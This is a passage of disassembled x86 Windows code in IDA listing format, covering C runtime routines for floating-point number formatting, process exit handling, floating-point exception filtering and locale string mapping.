movzx eax, [ebp+var_4]
jmp short loc_430593
; ---------------------------------------------------------------------------
loc_430586: ; CODE XREF: sub_4304CD+B1j
movzx eax, [ebp+var_3]
movzx ecx, [ebp+var_4]
shl eax, 8
or eax, ecx
loc_430593: ; CODE XREF: sub_4304CD+16j
; sub_4304CD+1Fj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4304CD endp
; =============== S U B R O U T I N E =======================================
sub_430598 proc near ; CODE XREF: sub_42A8C0+Fp
push 30000h
push 10000h
call sub_433F2F
pop ecx
pop ecx
retn
sub_430598 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4305AA proc near ; CODE XREF: sub_4305E8:loc_43060Cj
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_437638
fstp [ebp+var_8]
fld dbl_437630
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_437430
fnstsw ax
sahf
jbe short loc_4305E4
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_4305E4: ; CODE XREF: sub_4305AA+33j
xor eax, eax
leave
retn
sub_4305AA endp
; =============== S U B R O U T I N E =======================================
sub_4305E8 proc near ; CODE XREF: sub_42A8C0+5p
push offset aKernel32 ; "KERNEL32"
call dword_437070 ; GetModuleHandleA
test eax, eax
jz short loc_43060C
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_437030 ; GetProcAddress
test eax, eax
jz short loc_43060C
push 0
call eax ; sub_42A8C0
retn
; ---------------------------------------------------------------------------
loc_43060C: ; CODE XREF: sub_4305E8+Dj
; sub_4305E8+1Dj
jmp sub_4305AA
sub_4305E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_430611 proc near ; DATA XREF: sub_42A8D8+1Eo
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_43045E
cmp eax, 65h
pop ecx
jz short loc_430651
loc_430625: ; CODE XREF: sub_430611+3Ej
inc esi
cmp dword_4535A4, 1
jle short loc_43063E
movsx eax, byte ptr [esi]
push 4
push eax
call sub_42F05B
pop ecx
pop ecx
jmp short loc_43064D
; ---------------------------------------------------------------------------
loc_43063E: ; CODE XREF: sub_430611+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_453398
mov al, [ecx+eax*2]
and eax, 4
loc_43064D: ; CODE XREF: sub_430611+2Bj
test eax, eax
jnz short loc_430625
loc_430651: ; CODE XREF: sub_430611+12j
mov cl, byte_4535A8
mov al, [esi]
mov [esi], cl
inc esi
loc_43065C: ; CODE XREF: sub_430611+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_43065C
pop esi
retn
sub_430611 endp
; ---------------------------------------------------------------------------
loc_43066B: ; DATA XREF: sub_42A8D8+5o
mov eax, [esp+4]
mov dl, byte_4535A8
mov cl, [eax]
test cl, cl
jz short loc_430687
loc_43067B: ; CODE XREF: ?9:00430685j
cmp cl, dl
jz short loc_430687
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_43067B
loc_430687: ; CODE XREF: ?9:00430679j ?9:0043067Dj
mov cl, [eax]
inc eax
test cl, cl
jz short locret_4306B8
loc_43068E: ; CODE XREF: ?9:0043069Fj
mov cl, [eax]
test cl, cl
jz short loc_4306A1
cmp cl, 65h
jz short loc_4306A1
cmp cl, 45h
jz short loc_4306A1
inc eax
jmp short loc_43068E
; ---------------------------------------------------------------------------
loc_4306A1: ; CODE XREF: ?9:00430692j ?9:00430697j ...
mov ecx, eax
loc_4306A3: ; CODE XREF: ?9:004306A7j
dec eax
cmp byte ptr [eax], 30h
jz short loc_4306A3
cmp [eax], dl
jnz short loc_4306AE
dec eax
loc_4306AE: ; CODE XREF: ?9:004306ABj ?9:004306B6j
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_4306AE
locret_4306B8: ; CODE XREF: ?9:0043068Cj
retn
; ---------------------------------------------------------------------------
loc_4306B9: ; DATA XREF: sub_42A8D8+28o
mov eax, [esp+4]
fld qword ptr [eax]
fcomp dbl_437628
fnstsw ax
sahf
jb short loc_4306CE
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_4306CE: ; CODE XREF: ?9:004306C8j
xor eax, eax
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4306D1 proc near ; DATA XREF: sub_42A8D8+14o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_4306FA
lea eax, [ebp+var_8]
push eax
call sub_4343F2
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_4306FA: ; CODE XREF: sub_4306D1+Cj
lea eax, [ebp+arg_8]
push eax
call sub_43441F
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_4306D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43070F proc near ; CODE XREF: sub_4309C1+47p
var_3C = qword ptr -3Ch
var_28 = byte ptr -28h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
lea eax, [ebp+var_28]
push esi
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+3Ch+var_3C]
call sub_4344C3
mov esi, [ebp+arg_8]
lea eax, [ebp+var_10]
push eax
mov edx, [ebp+arg_4]
lea eax, [esi+1]
push eax
xor eax, eax
cmp [ebp+var_10], 2Dh
setz al
xor ecx, ecx
test esi, esi
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_43444C
lea eax, [ebp+var_10]
push 0
push eax
push [ebp+arg_C]
push esi
push [ebp+arg_4]
call sub_430770
mov eax, [ebp+arg_4]
add esp, 30h
pop esi
leave
retn
sub_43070F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430770 proc near ; CODE XREF: sub_43070F+53p
; sub_43092E+86p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_10], bl
push esi
mov esi, [ebp+arg_C]
push edi
mov edi, [ebp+arg_0]
jz short loc_43079E
xor eax, eax
cmp [ebp+arg_4], ebx
setnle al
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, edi
push eax
call sub_430A12
pop ecx
pop ecx
loc_43079E: ; CODE XREF: sub_430770+11j
cmp dword ptr [esi], 2Dh
mov eax, edi
jnz short loc_4307AB
mov byte ptr [edi], 2Dh
lea eax, [edi+1]
loc_4307AB: ; CODE XREF: sub_430770+33j
cmp [ebp+arg_4], ebx
jle short loc_4307C2
mov dl, [eax+1]
lea ecx, [eax+1]
mov [eax], dl
mov eax, ecx
mov cl, byte_4535A8
mov [eax], cl
loc_4307C2: ; CODE XREF: sub_430770+3Ej
xor ecx, ecx
cmp [ebp+arg_10], bl
push offset aE000 ; "e+000"
setz cl
add ecx, eax
add ecx, [ebp+arg_4]
push ecx
call sub_42A500
cmp [ebp+arg_8], ebx
pop ecx
pop ecx
mov ecx, eax
jz short loc_4307E6
mov byte ptr [ecx], 45h
loc_4307E6: ; CODE XREF: sub_430770+71j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_43082B
mov ebx, [esi+4]
dec ebx
jns short loc_4307FA
neg ebx
mov byte ptr [ecx], 2Dh
loc_4307FA: ; CODE XREF: sub_430770+83j
inc ecx
cmp ebx, 64h
jl short loc_430811
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_430811: ; CODE XREF: sub_430770+8Ej
inc ecx
cmp ebx, 0Ah
jl short loc_430828
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_430828: ; CODE XREF: sub_430770+A5j
add [ecx+1], bl
loc_43082B: ; CODE XREF: sub_430770+7Dj
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_430770 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430832 proc near ; CODE XREF: sub_4309C1+1Ep
var_3C = qword ptr -3Ch
var_28 = byte ptr -28h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 28h
lea eax, [ebp+var_28]
push esi
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+3Ch+var_3C]
call sub_4344C3
mov esi, [ebp+arg_8]
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+var_C]
add eax, esi
push eax
xor eax, eax
cmp [ebp+var_10], 2Dh
setz al
add eax, [ebp+arg_4]
push eax
call sub_43444C
lea eax, [ebp+var_10]
push 0
push eax
push esi
push [ebp+arg_4]
call sub_430887
mov eax, [ebp+arg_4]
add esp, 2Ch
pop esi
leave
retn
sub_430832 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430887 proc near ; CODE XREF: sub_430832+47p
; sub_43092E+6Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
push edi
mov eax, [esi+4]
dec eax
cmp [ebp+arg_C], 0
jz short loc_4308B7
cmp eax, [ebp+arg_4]
jnz short loc_4308B7
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebx
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
loc_4308B7: ; CODE XREF: sub_430887+14j
; sub_430887+19j
cmp dword ptr [esi], 2Dh
mov edi, ebx
jnz short loc_4308C4
mov byte ptr [ebx], 2Dh
lea edi, [ebx+1]
loc_4308C4: ; CODE XREF: sub_430887+35j
mov eax, [esi+4]
test eax, eax
jg short loc_4308DB
push 1
push edi
call sub_430A12
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_4308DD
; ---------------------------------------------------------------------------
loc_4308DB: ; CODE XREF: sub_430887+42j
add edi, eax
loc_4308DD: ; CODE XREF: sub_430887+52j
cmp [ebp+arg_4], 0
jle short loc_430927
push 1
push edi
call sub_430A12
mov al, byte_4535A8
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_430927
cmp [ebp+arg_C], 0
jz short loc_430906
neg esi
jmp short loc_43090D
; ---------------------------------------------------------------------------
loc_430906: ; CODE XREF: sub_430887+79j
neg esi
cmp [ebp+arg_4], esi
jl short loc_430910
loc_43090D: ; CODE XREF: sub_430887+7Dj
mov [ebp+arg_4], esi
loc_430910: ; CODE XREF: sub_430887+84j
push [ebp+arg_4]
push edi
call sub_430A12
push [ebp+arg_4]
push 30h
push edi
call sub_429690
add esp, 14h
loc_430927: ; CODE XREF: sub_430887+5Aj
; sub_430887+73j
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_430887 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43092E proc near ; CODE XREF: sub_4309C1+34p
var_44 = qword ptr -44h
var_28 = byte ptr -28h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
lea eax, [ebp+var_28]
push edi
push eax
lea eax, [ebp+var_10]
push eax
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+44h+var_44]
call sub_4344C3
mov eax, [ebp+var_C]
mov ebx, [ebp+arg_8]
lea esi, [eax-1]
xor eax, eax
cmp [ebp+var_10], 2Dh
setz al
add eax, [ebp+arg_4]
mov edi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push edi
call sub_43444C
mov eax, [ebp+var_C]
add esp, 1Ch
dec eax
cmp esi, eax
setl cl
cmp eax, 0FFFFFFFCh
jl short loc_4309A7
cmp eax, ebx
jge short loc_4309A7
test cl, cl
jz short loc_430993
loc_430989: ; CODE XREF: sub_43092E+60j
mov al, [edi]
inc edi
test al, al
jnz short loc_430989
and [edi-2], al
loc_430993: ; CODE XREF: sub_43092E+59j
lea eax, [ebp+var_10]
push 1
push eax
push ebx
push [ebp+arg_4]
call sub_430887
add esp, 10h
jmp short loc_4309BC
; ---------------------------------------------------------------------------
loc_4309A7: ; CODE XREF: sub_43092E+51j
; sub_43092E+55j
lea eax, [ebp+var_10]
push 1
push eax
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
call sub_430770
add esp, 14h
loc_4309BC: ; CODE XREF: sub_43092E+77j
pop edi
pop esi
pop ebx
leave
retn
sub_43092E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4309C1 proc near ; DATA XREF: sub_42A8D8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_4309FC
cmp [ebp+arg_8], 45h
jz short loc_4309FC
cmp [ebp+arg_8], 66h
jnz short loc_4309E9
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_430832
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4309E9: ; CODE XREF: sub_4309C1+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_43092E
jmp short loc_430A0D
; ---------------------------------------------------------------------------
loc_4309FC: ; CODE XREF: sub_4309C1+7j
; sub_4309C1+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_43070F
loc_430A0D: ; CODE XREF: sub_4309C1+39j
add esp, 10h
pop ebp
retn
sub_4309C1 endp
; =============== S U B R O U T I N E =======================================
sub_430A12 proc near ; CODE XREF: sub_430770+27p
; sub_430887+47p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_430A35
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_4292D0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_42B9C0
add esp, 10h
pop esi
loc_430A35: ; CODE XREF: sub_430A12+7j
pop edi
retn
sub_430A12 endp
; =============== S U B R O U T I N E =======================================
sub_430A37 proc near ; CODE XREF: sub_42C4A4+A5p
mov eax, off_450E48
test eax, eax
jz short loc_430A42
call eax ; sub_42A8C0
loc_430A42: ; CODE XREF: sub_430A37+7j
push offset dword_43A028
push offset dword_43A014
call sub_430B3D
push offset dword_43A010
push offset dword_43A000
call sub_430B3D
add esp, 10h
retn
sub_430A37 endp
; =============== S U B R O U T I N E =======================================
sub_430A64 proc near ; CODE XREF: sub_42C4A4+E4p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_430A86
add esp, 0Ch
retn
sub_430A64 endp
; =============== S U B R O U T I N E =======================================
sub_430A75 proc near ; CODE XREF: ?9:0042ABB6p ?9:0042C5A7p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_430A86
add esp, 0Ch
retn
sub_430A75 endp
; =============== S U B R O U T I N E =======================================
sub_430A86 proc near ; CODE XREF: sub_430A64+8p
; sub_430A75+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
call sub_430B2B
push 1
pop edi
cmp dword_6769EC, edi
jnz short loc_430AA8
push [esp+4+arg_0]
call dword_43704C ; GetCurrentProcess
push eax
call dword_43710C ; TerminateProcess
loc_430AA8: ; CODE XREF: sub_430A86+Fj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_6769E8, edi
mov byte_6769E4, bl
jnz short loc_430AFC
mov eax, dword_676EB4
test eax, eax
jz short loc_430AEB
mov ecx, dword_676EB0
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_430AEA
loc_430AD7: ; CODE XREF: sub_430A86+62j
mov eax, [esi]
test eax, eax
jz short loc_430ADF
call eax
loc_430ADF: ; CODE XREF: sub_430A86+55j
sub esi, 4
cmp esi, dword_676EB4
jnb short loc_430AD7
loc_430AEA: ; CODE XREF: sub_430A86+4Fj
pop esi
loc_430AEB: ; CODE XREF: sub_430A86+41j
push offset dword_43A034
push offset dword_43A02C
call sub_430B3D
pop ecx
pop ecx
loc_430AFC: ; CODE XREF: sub_430A86+38j
push offset dword_43A040
push offset dword_43A038
call sub_430B3D
pop ecx
pop ecx
test ebx, ebx
pop ebx
jz short loc_430B19
call sub_430B34
pop edi
retn
; ---------------------------------------------------------------------------
loc_430B19: ; CODE XREF: sub_430A86+8Aj
push [esp+4+arg_0]
mov dword_6769EC, edi
call dword_4370C4 ; ExitProcess
pop edi
retn
sub_430A86 endp
; =============== S U B R O U T I N E =======================================
sub_430B2B proc near ; CODE XREF: sub_42B71B+1p
; sub_430A86+1p
push 0Dh
call sub_42DA1F
pop ecx
retn
sub_430B2B endp
; =============== S U B R O U T I N E =======================================
sub_430B34 proc near ; CODE XREF: sub_42B71B:loc_42B790p
; sub_430A86+8Cp
push 0Dh
call sub_42DA80
pop ecx
retn
sub_430B34 endp
; =============== S U B R O U T I N E =======================================
sub_430B3D proc near ; CODE XREF: sub_430A37+15p
; sub_430A37+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_430B42: ; CODE XREF: sub_430B3D+16j
cmp esi, [esp+4+arg_4]
jnb short loc_430B55
mov eax, [esi]
test eax, eax
jz short loc_430B50
call eax
loc_430B50: ; CODE XREF: sub_430B3D+Fj
add esi, 4
jmp short loc_430B42
; ---------------------------------------------------------------------------
loc_430B55: ; CODE XREF: sub_430B3D+9j
pop esi
retn
sub_430B3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430B57 proc near ; CODE XREF: ?9:0042ABA8p
; sub_42C4A4+F5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
call sub_42E41E
mov esi, eax
push dword ptr [esi+50h]
push [ebp+arg_0]
call sub_430C95
pop ecx
test eax, eax
pop ecx
jz loc_430C88
mov ebx, [eax+8]
test ebx, ebx
mov [ebp+arg_0], ebx
jz loc_430C88
cmp ebx, 5
jnz short loc_430B98
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_430C91
; ---------------------------------------------------------------------------
loc_430B98: ; CODE XREF: sub_430B57+33j
cmp ebx, 1
jz loc_430C83
mov ecx, [esi+54h]
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_4]
mov [esi+54h], ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_430C75
mov edx, dword_453890
mov ecx, dword_453894
add ecx, edx
push edi
cmp edx, ecx
jge short loc_430BF3
lea ecx, [edx+edx*2]
shl ecx, 2
loc_430BD2: ; CODE XREF: sub_430B57+97j
mov edi, [esi+50h]
add ecx, 0Ch
and dword ptr [ecx+edi-4], 0
mov edi, dword_453890
mov ebx, dword_453894
inc edx
add ebx, edi
cmp edx, ebx
jl short loc_430BD2
mov ebx, [ebp+arg_0]
loc_430BF3: ; CODE XREF: sub_430B57+73j
mov eax, [eax]
mov edi, [esi+58h]
cmp eax, 0C000008Eh
jnz short loc_430C08
mov dword ptr [esi+58h], 83h
jmp short loc_430C66
; ---------------------------------------------------------------------------
loc_430C08: ; CODE XREF: sub_430B57+A6j
cmp eax, 0C0000090h
jnz short loc_430C18
mov dword ptr [esi+58h], 81h
jmp short loc_430C66
; ---------------------------------------------------------------------------
loc_430C18: ; CODE XREF: sub_430B57+B6j
cmp eax, 0C0000091h
jnz short loc_430C28
mov dword ptr [esi+58h], 84h
jmp short loc_430C66
; ---------------------------------------------------------------------------
loc_430C28: ; CODE XREF: sub_430B57+C6j
cmp eax, 0C0000093h
jnz short loc_430C38
mov dword ptr [esi+58h], 85h
jmp short loc_430C66
; ---------------------------------------------------------------------------
loc_430C38: ; CODE XREF: sub_430B57+D6j
cmp eax, 0C000008Dh
jnz short loc_430C48
mov dword ptr [esi+58h], 82h
jmp short loc_430C66
; ---------------------------------------------------------------------------
loc_430C48: ; CODE XREF: sub_430B57+E6j
cmp eax, 0C000008Fh
jnz short loc_430C58
mov dword ptr [esi+58h], 86h
jmp short loc_430C66
; ---------------------------------------------------------------------------
loc_430C58: ; CODE XREF: sub_430B57+F6j
cmp eax, 0C0000092h
jnz short loc_430C66
mov dword ptr [esi+58h], 8Ah
loc_430C66: ; CODE XREF: sub_430B57+AFj
; sub_430B57+BFj ...
push dword ptr [esi+58h]
push 8
call ebx
pop ecx
mov [esi+58h], edi
pop ecx
pop edi
jmp short loc_430C7D
; ---------------------------------------------------------------------------
loc_430C75: ; CODE XREF: sub_430B57+5Cj
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_430C7D: ; CODE XREF: sub_430B57+11Cj
mov eax, [ebp+var_4]
mov [esi+54h], eax
loc_430C83: ; CODE XREF: sub_430B57+44j
or eax, 0FFFFFFFFh
jmp short loc_430C91
; ---------------------------------------------------------------------------
loc_430C88: ; CODE XREF: sub_430B57+1Cj
; sub_430B57+2Aj
push [ebp+arg_4]
call dword_4371EC ; UnhandledExceptionFilter
loc_430C91: ; CODE XREF: sub_430B57+3Cj
; sub_430B57+12Fj
pop esi
pop ebx
leave
retn
sub_430B57 endp
; =============== S U B R O U T I N E =======================================
sub_430C95 proc near ; CODE XREF: sub_430B57+13p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov ecx, dword_45389C
push esi
mov esi, [esp+4+arg_0]
cmp [edx], esi
push edi
mov eax, edx
jz short loc_430CBC
lea edi, [ecx+ecx*2]
lea edi, [edx+edi*4]
loc_430CB1: ; CODE XREF: sub_430C95+25j
add eax, 0Ch
cmp eax, edi
jnb short loc_430CBC
cmp [eax], esi
jnz short loc_430CB1
loc_430CBC: ; CODE XREF: sub_430C95+14j
; sub_430C95+21j
lea ecx, [ecx+ecx*2]
lea ecx, [edx+ecx*4]
cmp eax, ecx
jnb short loc_430CCA
cmp [eax], esi
jz short loc_430CCC
loc_430CCA: ; CODE XREF: sub_430C95+2Fj
xor eax, eax
loc_430CCC: ; CODE XREF: sub_430C95+33j
pop edi
pop esi
retn
sub_430C95 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430CCF proc near ; CODE XREF: sub_42AE50+C5p
; sub_42AE50+F3p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_437678
push offset sub_42ACF4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_6769F0, edi
jnz short loc_430D45
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_437670
mov esi, 100h
push esi
push edi
call dword_4371E4 ; LCMapStringW
test eax, eax
jz short loc_430D23
mov dword_6769F0, ebx
jmp short loc_430D45
; ---------------------------------------------------------------------------
loc_430D23: ; CODE XREF: sub_430CCF+4Aj
push edi
push edi
push ebx
push offset word_454018
push esi
push edi
call dword_4371E8 ; LCMapStringA
test eax, eax
jz loc_430E5D
mov dword_6769F0, 2
loc_430D45: ; CODE XREF: sub_430CCF+2Ej
; sub_430CCF+52j
cmp [ebp+arg_C], edi
jle short loc_430D5A
push [ebp+arg_C]
push [ebp+arg_8]
call sub_435C92
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_430D5A: ; CODE XREF: sub_430CCF+79j
mov eax, dword_6769F0
cmp eax, 2
jnz short loc_430D81
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4371E8 ; LCMapStringA
jmp loc_430E5F
; ---------------------------------------------------------------------------
loc_430D81: ; CODE XREF: sub_430CCF+93j
cmp eax, 1
jnz loc_430E5D
cmp [ebp+arg_18], edi
jnz short loc_430D97
mov eax, dword_676998
mov [ebp+arg_18], eax
loc_430D97: ; CODE XREF: sub_430CCF+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
call dword_437180 ; MultiByteToWideChar
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_430E5D
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_429A90
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_430DF2
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_430DF2: ; CODE XREF: sub_430CCF+10Ej
cmp [ebp+var_24], edi
jz short loc_430E5D
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call dword_437180 ; MultiByteToWideChar
test eax, eax
jz short loc_430E5D
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4371E4 ; LCMapStringW
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_430E5D
test byte ptr [ebp+arg_4+1], 4
jz short loc_430E71
cmp [ebp+arg_14], edi
jz loc_430EEC
cmp esi, [ebp+arg_14]
jg short loc_430E5D
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4371E4 ; LCMapStringW
test eax, eax
jnz loc_430EEC
loc_430E5D: ; CODE XREF: sub_430CCF+66j
; sub_430CCF+B5j ...
xor eax, eax
loc_430E5F: ; CODE XREF: sub_430CCF+ADj
; sub_430CCF+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_430E71: ; CODE XREF: sub_430CCF+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_429A90
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_430EA5
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_430EA5: ; CODE XREF: sub_430CCF+1C2j
cmp ebx, edi
jz short loc_430E5D
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_4371E4 ; LCMapStringW
test eax, eax
jz short loc_430E5D
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_430ECC
push edi
push edi
jmp short loc_430ED2
; ---------------------------------------------------------------------------
loc_430ECC: ; CODE XREF: sub_430CCF+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_430ED2: ; CODE XREF: sub_430CCF+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call dword_437074 ; WideCharToMultiByte
mov esi, eax
cmp esi, edi
jz loc_430E5D
loc_430EEC: ; CODE XREF: sub_430CCF+165j
; sub_430CCF+188j
mov eax, esi
jmp loc_430E5F
sub_430CCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430EF3 proc near ; CODE XREF: sub_42B019+96p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_431058
add esp, 10h
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jnz loc_431051
call sub_42F049
